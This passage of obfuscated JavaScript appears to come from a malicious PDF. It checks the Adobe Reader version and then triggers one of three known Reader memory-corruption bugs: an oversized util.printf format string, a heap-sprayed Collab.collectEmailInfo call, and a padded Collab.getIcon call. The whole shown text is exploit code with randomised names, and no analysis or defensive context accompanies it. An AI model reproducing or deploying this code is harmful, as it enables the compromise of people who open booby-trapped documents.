		V6hYW4PN[vqcQD96y] = FGAiKonJ + vvpethya;
  }
}
function BcpL6fck(){
	var bTmVmuza = app.viewerVersion.toString();
  
    if (bTmVmuza > 8){
        O8BrQSMO(1);
        var Zwlq8E2Q = "12999999999999999999";
        for (a0XvoX0R = 0; a0XvoX0R < 276; a0XvoX0R ++ ){
          Zwlq8E2Q += "8";
        }
        util.printf("%45000f", Zwlq8E2Q);
    }
	if (bTmVmuza < 8){
		O8BrQSMO(0);
		var pZw0zqnE = unescape("%u0c0c%u0c0c");
		while (pZw0zqnE.length < 44952)pZw0zqnE += pZw0zqnE;
		this .collabStore = Collab.collectEmailInfo({
      subj : "", msg : pZw0zqnE});
    }  
	
	if (bTmVmuza < 9.1)	
	{
	if (app.doc.Collab.getIcon){
        O8BrQSMO(2);
        var tUMhNbGw = unescape("%09");
        while (tUMhNbGw.length < 0x4000)tUMhNbGw += tUMhNbGw;
        tUMhNbGw = "N." + tUMhNbGw;
		app.doc.Collab.getIcon(tUMhNbGw);
	}
	}
}
BcpL6fck();

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